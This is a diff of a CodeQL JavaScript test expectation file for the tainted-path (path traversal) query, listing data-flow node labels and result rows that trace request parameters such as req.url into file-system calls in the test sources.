+| normalizedPaths.js:363:21:363:31 | requestPath | semmle.label | requestPath |
+| normalizedPaths.js:377:7:377:27 | path | semmle.label | path |
+| normalizedPaths.js:377:14:377:27 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:379:19:379:22 | path | semmle.label | path |
+| normalizedPaths.js:381:19:381:29 | slash(path) | semmle.label | slash(path) |
+| normalizedPaths.js:381:25:381:28 | path | semmle.label | path |
+| normalizedPaths.js:385:7:385:46 | path | semmle.label | path |
+| normalizedPaths.js:385:14:385:46 | pathMod ... uery.x) | semmle.label | pathMod ... uery.x) |
+| normalizedPaths.js:385:35:385:45 | req.query.x | semmle.label | req.query.x |
+| normalizedPaths.js:388:19:388:22 | path | semmle.label | path |
+| normalizedPaths.js:399:21:399:24 | path | semmle.label | path |
+| normalizedPaths.js:407:19:407:67 | pathMod ... t('/')) | semmle.label | pathMod ... t('/')) |
+| normalizedPaths.js:407:45:407:55 | req.query.x | semmle.label | req.query.x |
+| normalizedPaths.js:407:45:407:66 | req.que ... it('/') | semmle.label | req.que ... it('/') |
+| normalizedPaths.js:408:19:408:60 | pathMod ... t('/')) | semmle.label | pathMod ... t('/')) |
+| normalizedPaths.js:408:38:408:48 | req.query.x | semmle.label | req.query.x |
+| normalizedPaths.js:408:38:408:59 | req.que ... it('/') | semmle.label | req.que ... it('/') |
+| normalizedPaths.js:412:7:412:46 | path | semmle.label | path |
+| normalizedPaths.js:412:14:412:46 | pathMod ... uery.x) | semmle.label | pathMod ... uery.x) |
+| normalizedPaths.js:412:35:412:45 | req.query.x | semmle.label | req.query.x |
+| normalizedPaths.js:415:19:415:22 | path | semmle.label | path |
+| normalizedPaths.js:426:21:426:24 | path | semmle.label | path |
+| other-fs-libraries.js:9:7:9:48 | path | semmle.label | path |
+| other-fs-libraries.js:9:14:9:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| other-fs-libraries.js:9:14:9:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| other-fs-libraries.js:9:14:9:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| other-fs-libraries.js:9:24:9:30 | req.url | semmle.label | req.url |
+| other-fs-libraries.js:11:19:11:22 | path | semmle.label | path |
+| other-fs-libraries.js:12:27:12:30 | path | semmle.label | path |
+| other-fs-libraries.js:13:24:13:27 | path | semmle.label | path |
+| other-fs-libraries.js:14:27:14:30 | path | semmle.label | path |
+| other-fs-libraries.js:16:34:16:37 | path | semmle.label | path |
+| other-fs-libraries.js:17:35:17:38 | path | semmle.label | path |
+| other-fs-libraries.js:19:56:19:59 | path | semmle.label | path |
+| other-fs-libraries.js:24:35:24:38 | path | semmle.label | path |
+| other-fs-libraries.js:38:7:38:48 | path | semmle.label | path |
+| other-fs-libraries.js:38:14:38:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| other-fs-libraries.js:38:14:38:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| other-fs-libraries.js:38:14:38:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| other-fs-libraries.js:38:24:38:30 | req.url | semmle.label | req.url |
+| other-fs-libraries.js:40:35:40:38 | path | semmle.label | path |
+| other-fs-libraries.js:41:50:41:53 | path | semmle.label | path |
+| other-fs-libraries.js:42:53:42:56 | path | semmle.label | path |
+| other-fs-libraries.js:49:7:49:48 | path | semmle.label | path |
+| other-fs-libraries.js:49:14:49:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| other-fs-libraries.js:49:14:49:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| other-fs-libraries.js:49:14:49:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| other-fs-libraries.js:49:24:49:30 | req.url | semmle.label | req.url |
+| other-fs-libraries.js:51:19:51:22 | path | semmle.label | path |
+| other-fs-libraries.js:52:24:52:27 | path | semmle.label | path |
+| other-fs-libraries.js:54:36:54:39 | path | semmle.label | path |
+| other-fs-libraries.js:55:36:55:39 | path | semmle.label | path |
+| other-fs-libraries.js:57:46:57:49 | path | semmle.label | path |
+| other-fs-libraries.js:59:39:59:42 | path | semmle.label | path |
+| other-fs-libraries.js:62:43:62:46 | path | semmle.label | path |
+| other-fs-libraries.js:63:51:63:54 | path | semmle.label | path |
+| other-fs-libraries.js:68:7:68:48 | path | semmle.label | path |
+| other-fs-libraries.js:68:14:68:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| other-fs-libraries.js:68:14:68:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| other-fs-libraries.js:68:14:68:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| other-fs-libraries.js:68:24:68:30 | req.url | semmle.label | req.url |
+| other-fs-libraries.js:70:19:70:22 | path | semmle.label | path |
+| other-fs-libraries.js:71:10:71:13 | path | semmle.label | path |
+| other-fs-libraries.js:72:15:72:18 | path | semmle.label | path |
+| other-fs-libraries.js:73:8:73:11 | path | semmle.label | path |
+| other-fs-libraries.js:75:15:75:15 | x | semmle.label | x |
+| other-fs-libraries.js:76:19:76:19 | x | semmle.label | x |
+| other-fs-libraries.js:81:7:81:48 | path | semmle.label | path |
+| other-fs-libraries.js:81:14:81:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| other-fs-libraries.js:81:14:81:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| other-fs-libraries.js:81:14:81:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| other-fs-libraries.js:81:24:81:30 | req.url | semmle.label | req.url |
+| other-fs-libraries.js:83:16:83:19 | path | semmle.label | path |
+| prettier.js:6:11:6:28 | p | semmle.label | p |
+| prettier.js:6:13:6:13 | p | semmle.label | p |
+| prettier.js:7:28:7:28 | p | semmle.label | p |
+| prettier.js:11:44:11:44 | p | semmle.label | p |
+| pupeteer.js:5:9:5:71 | tainted | semmle.label | tainted |
+| pupeteer.js:5:19:5:71 | "dir/"  ... t.data" | semmle.label | "dir/"  ... t.data" |
+| pupeteer.js:5:28:5:53 | parseTo ... t).name | semmle.label | parseTo ... t).name |
+| pupeteer.js:9:28:9:34 | tainted | semmle.label | tainted |
+| pupeteer.js:13:37:13:43 | tainted | semmle.label | tainted |
+| sharedlib-repro.js:13:22:13:43 | req.par ... spaceId | semmle.label | req.par ... spaceId |
+| sharedlib-repro.js:21:27:21:34 | filepath | semmle.label | filepath |
+| sharedlib-repro.js:22:18:22:25 | filepath | semmle.label | filepath |
+| tainted-access-paths.js:6:7:6:48 | path | semmle.label | path |
+| tainted-access-paths.js:6:14:6:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| tainted-access-paths.js:6:14:6:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| tainted-access-paths.js:6:14:6:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| tainted-access-paths.js:6:24:6:30 | req.url | semmle.label | req.url |
+| tainted-access-paths.js:8:19:8:22 | path | semmle.label | path |
+| tainted-access-paths.js:10:7:10:36 | obj | semmle.label | obj |
+| tainted-access-paths.js:10:33:10:36 | path | semmle.label | path |
+| tainted-access-paths.js:12:19:12:21 | obj | semmle.label | obj |
+| tainted-access-paths.js:12:19:12:25 | obj.sub | semmle.label | obj.sub |
+| tainted-access-paths.js:26:19:26:21 | obj | semmle.label | obj |
+| tainted-access-paths.js:26:19:26:26 | obj.sub3 | semmle.label | obj.sub3 |
+| tainted-access-paths.js:29:21:29:23 | obj | semmle.label | obj |
+| tainted-access-paths.js:29:21:29:28 | obj.sub4 | semmle.label | obj.sub4 |
+| tainted-access-paths.js:30:23:30:25 | obj | semmle.label | obj |
+| tainted-access-paths.js:30:23:30:30 | obj.sub4 | semmle.label | obj.sub4 |
+| tainted-access-paths.js:31:23:31:25 | obj | semmle.label | obj |
+| tainted-access-paths.js:31:23:31:30 | obj.sub4 | semmle.label | obj.sub4 |
+| tainted-access-paths.js:39:7:39:48 | path | semmle.label | path |
+| tainted-access-paths.js:39:14:39:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| tainted-access-paths.js:39:14:39:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| tainted-access-paths.js:39:14:39:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| tainted-access-paths.js:39:24:39:30 | req.url | semmle.label | req.url |
+| tainted-access-paths.js:40:23:40:26 | path | semmle.label | path |
+| tainted-access-paths.js:48:7:48:48 | path | semmle.label | path |
+| tainted-access-paths.js:48:14:48:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| tainted-access-paths.js:48:14:48:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| tainted-access-paths.js:48:14:48:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| tainted-access-paths.js:48:24:48:30 | req.url | semmle.label | req.url |
+| tainted-access-paths.js:49:10:49:13 | path | semmle.label | path |
+| tainted-promise-steps.js:6:7:6:48 | path | semmle.label | path |
+| tainted-promise-steps.js:6:14:6:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| tainted-promise-steps.js:6:14:6:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| tainted-promise-steps.js:6:14:6:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| tainted-promise-steps.js:6:24:6:30 | req.url | semmle.label | req.url |
+| tainted-promise-steps.js:7:10:7:30 | Promise ... e(path) [PromiseValue] | semmle.label | Promise ... e(path) [PromiseValue] |
+| tainted-promise-steps.js:7:26:7:29 | path | semmle.label | path |
+| tainted-promise-steps.js:10:23:10:33 | pathPromise [PromiseValue] | semmle.label | pathPromise [PromiseValue] |
+| tainted-promise-steps.js:11:19:11:35 | await pathPromise | semmle.label | await pathPromise |
+| tainted-promise-steps.js:11:25:11:35 | pathPromise [PromiseValue] | semmle.label | pathPromise [PromiseValue] |
+| tainted-promise-steps.js:12:3:12:13 | pathPromise [PromiseValue] | semmle.label | pathPromise [PromiseValue] |
+| tainted-promise-steps.js:12:20:12:23 | path | semmle.label | path |
+| tainted-promise-steps.js:12:44:12:47 | path | semmle.label | path |
+| tainted-require.js:6:19:6:37 | req.param("module") | semmle.label | req.param("module") |
+| tainted-require.js:11:29:11:47 | req.param("module") | semmle.label | req.param("module") |
+| tainted-require.js:13:11:13:29 | req.param("module") | semmle.label | req.param("module") |
+| tainted-sendFile.js:7:16:7:33 | req.param("gimme") | semmle.label | req.param("gimme") |
+| tainted-sendFile.js:8:16:8:33 | req.param("gimme") | semmle.label | req.param("gimme") |
+| tainted-sendFile.js:15:43:15:58 | req.param("dir") | semmle.label | req.param("dir") |
+| tainted-sendFile.js:21:16:21:49 | path.re ... rams.x) | semmle.label | path.re ... rams.x) |
+| tainted-sendFile.js:21:37:21:48 | req.params.x | semmle.label | req.params.x |
+| tainted-sendFile.js:22:16:22:46 | path.jo ... rams.x) | semmle.label | path.jo ... rams.x) |
+| tainted-sendFile.js:22:34:22:45 | req.params.x | semmle.label | req.params.x |
+| tainted-sendFile.js:26:16:26:33 | req.param("gimme") | semmle.label | req.param("gimme") |
+| tainted-sendFile.js:28:16:28:48 | homeDir ... arams.x | semmle.label | homeDir ... arams.x |
+| tainted-sendFile.js:28:37:28:48 | req.params.x | semmle.label | req.params.x |
+| tainted-sendFile.js:30:16:30:46 | path.jo ... rams.x) | semmle.label | path.jo ... rams.x) |
+| tainted-sendFile.js:30:34:30:45 | req.params.x | semmle.label | req.params.x |
+| tainted-sendFile.js:32:43:32:58 | req.param("dir") | semmle.label | req.param("dir") |
+| tainted-string-steps.js:6:7:6:48 | path | semmle.label | path |
+| tainted-string-steps.js:6:14:6:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| tainted-string-steps.js:6:14:6:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| tainted-string-steps.js:6:14:6:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| tainted-string-steps.js:6:24:6:30 | req.url | semmle.label | req.url |
+| tainted-string-steps.js:8:18:8:21 | path | semmle.label | path |
+| tainted-string-steps.js:8:18:8:34 | path.substring(4) | semmle.label | path.substring(4) |
+| tainted-string-steps.js:9:18:9:21 | path | semmle.label | path |
+| tainted-string-steps.js:9:18:9:37 | path.substring(0, i) | semmle.label | path.substring(0, i) |
+| tainted-string-steps.js:10:18:10:21 | path | semmle.label | path |
+| tainted-string-steps.js:10:18:10:31 | path.substr(4) | semmle.label | path.substr(4) |
+| tainted-string-steps.js:11:18:11:21 | path | semmle.label | path |
+| tainted-string-steps.js:11:18:11:30 | path.slice(4) | semmle.label | path.slice(4) |
+| tainted-string-steps.js:13:18:13:21 | path | semmle.label | path |
+| tainted-string-steps.js:13:18:13:37 | path.concat(unknown) | semmle.label | path.concat(unknown) |
+| tainted-string-steps.js:14:18:14:37 | unknown.concat(path) | semmle.label | unknown.concat(path) |
+| tainted-string-steps.js:14:33:14:36 | path | semmle.label | path |
+| tainted-string-steps.js:15:18:15:46 | unknown ... , path) | semmle.label | unknown ... , path) |
+| tainted-string-steps.js:15:42:15:45 | path | semmle.label | path |
+| tainted-string-steps.js:17:18:17:21 | path | semmle.label | path |
+| tainted-string-steps.js:17:18:17:28 | path.trim() | semmle.label | path.trim() |
+| tainted-string-steps.js:18:18:18:21 | path | semmle.label | path |
+| tainted-string-steps.js:18:18:18:35 | path.toLowerCase() | semmle.label | path.toLowerCase() |
+| tainted-string-steps.js:22:18:22:21 | path | semmle.label | path |
+| tainted-string-steps.js:22:18:22:32 | path.split('/') | semmle.label | path.split('/') |
+| tainted-string-steps.js:22:18:22:35 | path.split('/')[i] | semmle.label | path.split('/')[i] |
+| tainted-string-steps.js:23:18:23:21 | path | semmle.label | path |
+| tainted-string-steps.js:23:18:23:33 | path.split(/\\//) | semmle.label | path.split(/\\//) |
+| tainted-string-steps.js:23:18:23:36 | path.split(/\\//)[i] | semmle.label | path.split(/\\//)[i] |
+| tainted-string-steps.js:24:18:24:21 | path | semmle.label | path |
+| tainted-string-steps.js:24:18:24:32 | path.split("?") | semmle.label | path.split("?") |
+| tainted-string-steps.js:24:18:24:35 | path.split("?")[0] | semmle.label | path.split("?")[0] |
+| tainted-string-steps.js:26:18:26:21 | path | semmle.label | path |
+| tainted-string-steps.js:26:18:26:36 | path.split(unknown) | semmle.label | path.split(unknown) |
+| tainted-string-steps.js:26:18:26:45 | path.sp ... hatever | semmle.label | path.sp ... hatever |
+| tainted-string-steps.js:27:18:27:21 | path | semmle.label | path |
+| tainted-string-steps.js:27:18:27:36 | path.split(unknown) | semmle.label | path.split(unknown) |
+| torrents.js:5:6:5:38 | name | semmle.label | name |
+| torrents.js:5:13:5:38 | parseTo ... t).name | semmle.label | parseTo ... t).name |
+| torrents.js:6:6:6:45 | loc | semmle.label | loc |
+| torrents.js:6:12:6:45 | dir + " ... t.data" | semmle.label | dir + " ... t.data" |
+| torrents.js:6:24:6:27 | name | semmle.label | name |
+| torrents.js:7:25:7:27 | loc | semmle.label | loc |
+| typescript.ts:9:7:9:48 | path | semmle.label | path |
+| typescript.ts:9:14:9:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| typescript.ts:9:14:9:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| typescript.ts:9:14:9:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| typescript.ts:9:24:9:30 | req.url | semmle.label | req.url |
+| typescript.ts:11:29:11:32 | path | semmle.label | path |
+| typescript.ts:19:7:19:18 | path3 | semmle.label | path3 |
+| typescript.ts:19:15:19:18 | path | semmle.label | path |
+| typescript.ts:20:39:20:43 | path3 | semmle.label | path3 |
+| typescript.ts:22:7:22:18 | path4 | semmle.label | path4 |
+| typescript.ts:22:15:22:18 | path | semmle.label | path |
+| typescript.ts:23:39:23:43 | path4 | semmle.label | path4 |
+| typescript.ts:29:7:29:18 | path6 | semmle.label | path6 |
+| typescript.ts:29:15:29:18 | path | semmle.label | path |
+| typescript.ts:31:29:31:33 | path6 | semmle.label | path6 |
+| views.js:1:43:1:55 | req.params[0] | semmle.label | req.params[0] |
 subpaths
-#select
-| TaintedPath-es6.js:10:26:10:45 | join("public", path) | TaintedPath-es6.js:7:20:7:26 | req.url | TaintedPath-es6.js:10:26:10:45 | join("public", path) | This path depends on a $@. | TaintedPath-es6.js:7:20:7:26 | req.url | user-provided value |
-| TaintedPath.js:12:29:12:32 | path | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:12:29:12:32 | path | This path depends on a $@. | TaintedPath.js:9:24:9:30 | req.url | user-provided value |
-| TaintedPath.js:15:29:15:48 | "/home/user/" + path | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:15:29:15:48 | "/home/user/" + path | This path depends on a $@. | TaintedPath.js:9:24:9:30 | req.url | user-provided value |
-| TaintedPath.js:18:33:18:36 | path | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:18:33:18:36 | path | This path depends on a $@. | TaintedPath.js:9:24:9:30 | req.url | user-provided value |
-| TaintedPath.js:21:33:21:36 | path | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:21:33:21:36 | path | This path depends on a $@. | TaintedPath.js:9:24:9:30 | req.url | user-provided value |
-| TaintedPath.js:24:33:24:36 | path | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:24:33:24:36 | path | This path depends on a $@. | TaintedPath.js:9:24:9:30 | req.url | user-provided value |
-| TaintedPath.js:33:31:33:34 | path | TaintedPath.js:9:24:9:30 | req.url | TaintedPath.js:33:31:33:34 | path | This path depends on a $@. | TaintedPath.js:9:24:9:30 | req.url | user-provided value |
-| TaintedPath.js:42:29:42:52 | pathMod ... e(path) | TaintedPath.js:38:20:38:26 | req.url | TaintedPath.js:42:29:42:52 | pathMod ... e(path) | This path depends on a $@. | TaintedPath.js:38:20:38:26 | req.url | user-provided value |
-| TaintedPath.js:46:29:46:49 | pathMod ... n(path) | TaintedPath.js:38:20:38:26 | req.url | TaintedPath.js:46:29:46:49 | pathMod ... n(path) | This path depends on a $@. | TaintedPath.js:38:20:38:26 | req.url | user-provided value |
-| TaintedPath.js:48:29:48:58 | pathMod ... ath, z) | TaintedPath.js:38:20:38:26 | req.url | TaintedPath.js:48:29:48:58 | pathMod ... ath, z) | This path depends on a $@. | TaintedPath.js:38:20:38:26 | req.url | user-provided value |
-| TaintedPath.js:50:29:50:54 | pathMod ... e(path) | TaintedPath.js:38:20:38:26 | req.url | TaintedPath.js:50:29:50:54 | pathMod ... e(path) | This path depends on a $@. | TaintedPath.js:38:20:38:26 | req.url | user-provided value |
-| TaintedPath.js:52:29:52:56 | pathMod ... , path) | TaintedPath.js:38:20:38:26 | req.url | TaintedPath.js:52:29:52:56 | pathMod ... , path) | This path depends on a $@. | TaintedPath.js:38:20:38:26 | req.url | user-provided value |
-| TaintedPath.js:54:29:54:56 | pathMod ... ath, x) | TaintedPath.js:38:20:38:26 | req.url | TaintedPath.js:54:29:54:56 | pathMod ... ath, x) | This path depends on a $@. | TaintedPath.js:38:20:38:26 | req.url | user-provided value |
-| TaintedPath.js:56:29:56:52 | pathMod ... e(path) | TaintedPath.js:38:20:38:26 | req.url | TaintedPath.js:56:29:56:52 | pathMod ... e(path) | This path depends on a $@. | TaintedPath.js:38:20:38:26 | req.url | user-provided value |
-| TaintedPath.js:58:29:58:61 | pathMod ... ath, z) | TaintedPath.js:38:20:38:26 | req.url | TaintedPath.js:58:29:58:61 | pathMod ... ath, z) | This path depends on a $@. | TaintedPath.js:38:20:38:26 | req.url | user-provided value |
-| TaintedPath.js:60:29:60:61 | pathMod ... h(path) | TaintedPath.js:38:20:38:26 | req.url | TaintedPath.js:60:29:60:61 | pathMod ... h(path) | This path depends on a $@. | TaintedPath.js:38:20:38:26 | req.url | user-provided value |
-| TaintedPath.js:65:31:65:76 | require ... ).query | TaintedPath.js:65:63:65:69 | req.url | TaintedPath.js:65:31:65:76 | require ... ).query | This path depends on a $@. | TaintedPath.js:65:63:65:69 | req.url | user-provided value |
-| TaintedPath.js:66:31:66:74 | require ... ).query | TaintedPath.js:66:61:66:67 | req.url | TaintedPath.js:66:31:66:74 | require ... ).query | This path depends on a $@. | TaintedPath.js:66:61:66:67 | req.url | user-provided value |
-| TaintedPath.js:67:31:67:73 | require ... ).query | TaintedPath.js:67:60:67:66 | req.url | TaintedPath.js:67:31:67:73 | require ... ).query | This path depends on a $@. | TaintedPath.js:67:60:67:66 | req.url | user-provided value |
-| TaintedPath.js:75:48:75:60 | req.params[0] | TaintedPath.js:75:48:75:60 | req.params[0] | TaintedPath.js:75:48:75:60 | req.params[0] | This path depends on a $@. | TaintedPath.js:75:48:75:60 | req.params[0] | user-provided value |
-| TaintedPath.js:86:28:86:48 | fs.real ... c(path) | TaintedPath.js:84:23:84:29 | req.url | TaintedPath.js:86:28:86:48 | fs.real ... c(path) | This path depends on a $@. | TaintedPath.js:84:23:84:29 | req.url | user-provided value |
-| TaintedPath.js:89:45:89:52 | realpath | TaintedPath.js:84:23:84:29 | req.url | TaintedPath.js:89:45:89:52 | realpath | This path depends on a $@. | TaintedPath.js:84:23:84:29 | req.url | user-provided value |
-| TaintedPath.js:122:23:122:26 | path | TaintedPath.js:120:23:120:29 | req.url | TaintedPath.js:122:23:122:26 | path | This path depends on a $@. | TaintedPath.js:120:23:120:29 | req.url | user-provided value |
-| TaintedPath.js:128:19:128:22 | path | TaintedPath.js:126:24:126:30 | req.url | TaintedPath.js:128:19:128:22 | path | This path depends on a $@. | TaintedPath.js:126:24:126:30 | req.url | user-provided value |
-| TaintedPath.js:132:19:132:33 | split.join("/") | TaintedPath.js:126:24:126:30 | req.url | TaintedPath.js:132:19:132:33 | split.join("/") | This path depends on a $@. | TaintedPath.js:126:24:126:30 | req.url | user-provided value |
-| TaintedPath.js:136:19:136:26 | split[x] | TaintedPath.js:126:24:126:30 | req.url | TaintedPath.js:136:19:136:26 | split[x] | This path depends on a $@. | TaintedPath.js:126:24:126:30 | req.url | user-provided value |
-| TaintedPath.js:137:19:137:35 | prefix + split[x] | TaintedPath.js:126:24:126:30 | req.url | TaintedPath.js:137:19:137:35 | prefix + split[x] | This path depends on a $@. | TaintedPath.js:126:24:126:30 | req.url | user-provided value |
-| TaintedPath.js:140:19:140:37 | concatted.join("/") | TaintedPath.js:126:24:126:30 | req.url | TaintedPath.js:140:19:140:37 | concatted.join("/") | This path depends on a $@. | TaintedPath.js:126:24:126:30 | req.url | user-provided value |
-| TaintedPath.js:143:19:143:38 | concatted2.join("/") | TaintedPath.js:126:24:126:30 | req.url | TaintedPath.js:143:19:143:38 | concatted2.join("/") | This path depends on a $@. | TaintedPath.js:126:24:126:30 | req.url | user-provided value |
-| TaintedPath.js:145:19:145:29 | split.pop() | TaintedPath.js:126:24:126:30 | req.url | TaintedPath.js:145:19:145:29 | split.pop() | This path depends on a $@. | TaintedPath.js:126:24:126:30 | req.url | user-provided value |
-| TaintedPath.js:154:29:154:55 | path.re ... /g, '') | TaintedPath.js:150:24:150:30 | req.url | TaintedPath.js:154:29:154:55 | path.re ... /g, '') | This path depends on a $@. | TaintedPath.js:150:24:150:30 | req.url | user-provided value |
-| TaintedPath.js:160:29:160:52 | path.re ... /g, '') | TaintedPath.js:150:24:150:30 | req.url | TaintedPath.js:160:29:160:52 | path.re ... /g, '') | This path depends on a $@. | TaintedPath.js:150:24:150:30 | req.url | user-provided value |
-| TaintedPath.js:161:29:161:53 | path.re ... /g, '') | TaintedPath.js:150:24:150:30 | req.url | TaintedPath.js:161:29:161:53 | path.re ... /g, '') | This path depends on a $@. | TaintedPath.js:150:24:150:30 | req.url | user-provided value |
-| TaintedPath.js:162:29:162:51 | path.re ... /g, '') | TaintedPath.js:150:24:150:30 | req.url | TaintedPath.js:162:29:162:51 | path.re ... /g, '') | This path depends on a $@. | TaintedPath.js:150:24:150:30 | req.url | user-provided value |
-| TaintedPath.js:163:29:163:57 | path.re ... /g, '') | TaintedPath.js:150:24:150:30 | req.url | TaintedPath.js:163:29:163:57 | path.re ... /g, '') | This path depends on a $@. | TaintedPath.js:150:24:150:30 | req.url | user-provided value |
-| TaintedPath.js:178:29:178:73 | "prefix ... +/, '') | TaintedPath.js:150:24:150:30 | req.url | TaintedPath.js:178:29:178:73 | "prefix ... +/, '') | This path depends on a $@. | TaintedPath.js:150:24:150:30 | req.url | user-provided value |
-| TaintedPath.js:179:29:179:84 | pathMod ... +/, '') | TaintedPath.js:150:24:150:30 | req.url | TaintedPath.js:179:29:179:84 | pathMod ... +/, '') | This path depends on a $@. | TaintedPath.js:150:24:150:30 | req.url | user-provided value |
-| TaintedPath.js:187:29:187:49 | qs.pars ... rl).foo | TaintedPath.js:187:38:187:44 | req.url | TaintedPath.js:187:29:187:49 | qs.pars ... rl).foo | This path depends on a $@. | TaintedPath.js:187:38:187:44 | req.url | user-provided value |
-| TaintedPath.js:188:29:188:63 | qs.pars ... l)).foo | TaintedPath.js:188:51:188:57 | req.url | TaintedPath.js:188:29:188:63 | qs.pars ... l)).foo | This path depends on a $@. | TaintedPath.js:188:51:188:57 | req.url | user-provided value |
-| TaintedPath.js:190:29:190:55 | parseqs ... rl).foo | TaintedPath.js:190:44:190:50 | req.url | TaintedPath.js:190:29:190:55 | parseqs ... rl).foo | This path depends on a $@. | TaintedPath.js:190:44:190:50 | req.url | user-provided value |
-| TaintedPath.js:196:31:196:34 | path | TaintedPath.js:195:24:195:30 | req.url | TaintedPath.js:196:31:196:34 | path | This path depends on a $@. | TaintedPath.js:195:24:195:30 | req.url | user-provided value |
-| TaintedPath.js:197:45:197:48 | path | TaintedPath.js:195:24:195:30 | req.url | TaintedPath.js:197:45:197:48 | path | This path depends on a $@. | TaintedPath.js:195:24:195:30 | req.url | user-provided value |
-| TaintedPath.js:198:35:198:38 | path | TaintedPath.js:195:24:195:30 | req.url | TaintedPath.js:198:35:198:38 | path | This path depends on a $@. | TaintedPath.js:195:24:195:30 | req.url | user-provided value |
-| TaintedPath.js:206:29:206:85 | path.re ... '), '') | TaintedPath.js:202:24:202:30 | req.url | TaintedPath.js:206:29:206:85 | path.re ... '), '') | This path depends on a $@. | TaintedPath.js:202:24:202:30 | req.url | user-provided value |
-| TaintedPath.js:213:29:213:68 | path.re ... '), '') | TaintedPath.js:211:24:211:30 | req.url | TaintedPath.js:213:29:213:68 | path.re ... '), '') | This path depends on a $@. | TaintedPath.js:211:24:211:30 | req.url | user-provided value |
-| TaintedPath.js:216:31:216:69 | path.re ... '), '') | TaintedPath.js:211:24:211:30 | req.url | TaintedPath.js:216:31:216:69 | path.re ... '), '') | This path depends on a $@. | TaintedPath.js:211:24:211:30 | req.url | user-provided value |
-| examples/TaintedPath.js:11:29:11:43 | ROOT + filePath | examples/TaintedPath.js:8:28:8:34 | req.url | examples/TaintedPath.js:11:29:11:43 | ROOT + filePath | This path depends on a $@. | examples/TaintedPath.js:8:28:8:34 | req.url | user-provided value |
-| express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | This path depends on a $@. | express.js:8:20:8:32 | req.query.bar | user-provided value |
-| handlebars.js:11:32:11:39 | filePath | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:11:32:11:39 | filePath | This path depends on a $@. | handlebars.js:29:46:29:60 | req.params.path | user-provided value |
-| handlebars.js:15:25:15:32 | filePath | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:15:25:15:32 | filePath | This path depends on a $@. | handlebars.js:43:15:43:29 | req.params.path | user-provided value |
-| normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
-| normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
-| normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
-| normalizedPaths.js:16:19:16:53 | pathMod ... .html') | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:16:19:16:53 | pathMod ... .html') | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
-| normalizedPaths.js:17:19:17:57 | pathMod ... , path) | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:17:19:17:57 | pathMod ... , path) | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
-| normalizedPaths.js:23:19:23:22 | path | normalizedPaths.js:21:35:21:48 | req.query.path | normalizedPaths.js:23:19:23:22 | path | This path depends on a $@. | normalizedPaths.js:21:35:21:48 | req.query.path | user-provided value |
-| normalizedPaths.js:24:19:24:29 | './' + path | normalizedPaths.js:21:35:21:48 | req.query.path | normalizedPaths.js:24:19:24:29 | './' + path | This path depends on a $@. | normalizedPaths.js:21:35:21:48 | req.query.path | user-provided value |
-| normalizedPaths.js:25:19:25:38 | path + '/index.html' | normalizedPaths.js:21:35:21:48 | req.query.path | normalizedPaths.js:25:19:25:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:21:35:21:48 | req.query.path | user-provided value |
-| normalizedPaths.js:26:19:26:53 | pathMod ... .html') | normalizedPaths.js:21:35:21:48 | req.query.path | normalizedPaths.js:26:19:26:53 | pathMod ... .html') | This path depends on a $@. | normalizedPaths.js:21:35:21:48 | req.query.path | user-provided value |
